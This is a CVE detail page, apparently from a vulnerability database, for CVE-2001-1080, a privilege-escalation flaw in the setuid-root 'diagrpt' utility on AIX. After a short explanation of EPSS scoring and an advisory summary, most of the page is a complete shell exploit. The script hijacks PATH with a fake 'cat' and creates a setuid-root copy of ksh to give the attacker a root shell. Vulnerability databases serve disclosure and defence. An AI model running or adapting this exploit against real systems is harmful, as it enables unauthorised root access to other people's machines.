CVE-2001-1080 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/2916/info AIX ships with a diagnostic reporting utility called 'diagrpt'. This utility is installed setuid root by default. When 'diagrpt' executes, it relies on an environment variable to locate another utility which it executes. This utility is executed by 'diagrpt' as root. An attacker can gain root privileges by having 'diagrpt' execute a malicious program of the same name in a directory under their control. #!/bin/sh # FileName: x_diagrpt.sh # Exploit diagrpt of Aix4.x & 5L to get a uid=0 shell. # Tested : on Aix4.3.3 & Aix5.1. # Author : [email protected] # Site : www.xfocus.org www.xfocus.net # Date : 2003-5-23 # Announce: use as your owner risk! # # Note : # It does not work on all versions of tsm command. # Use this command to test if your version can exploit or not : # bash$ strings /usr/lpp/diagnostics/bin/diagrpt |grep cat # diagrpt.cat # cat %s <--- here ! have the bug !!! can exploit! # O_DIR=`/bin/pwd` cd /tmp ; mkdir .ex$$ ; cd .ex$$ PATH=/tmp/.ex$$:$PATH ; export PATH /bin/cat >cat<<EOF #!/bin/ksh -p cp /bin/ksh ./kfsh chown root ./kfsh chmod 777 ./kfsh chmod u+s ./kfsh EOF chmod a+x cat DIAGDATADIR=/tmp/.ex$$ ; export DIAGDATADIR touch /tmp/.ex$$/diagrpt1.dat /usr/lpp/diagnostics/bin/diagrpt -o 010101 stty echo stty intr '^C' erase '^H' eof '^D' eol '^@' if [ -e ./kfsh ] ;then echo "" echo "====================" pwd ls -l ./kfsh echo "Exploit ok ! Use this command to get a uid=0 shell :" echo '/usr/bin/syscall setreuid 0 0 \; execve "/bin/sh" ' ./kfsh else echo "" echo "Exploit false !!!!" fi cd /tmp ; /bin/rm -Rf /tmp/.ex$$ ;cd $O_DIR #EOF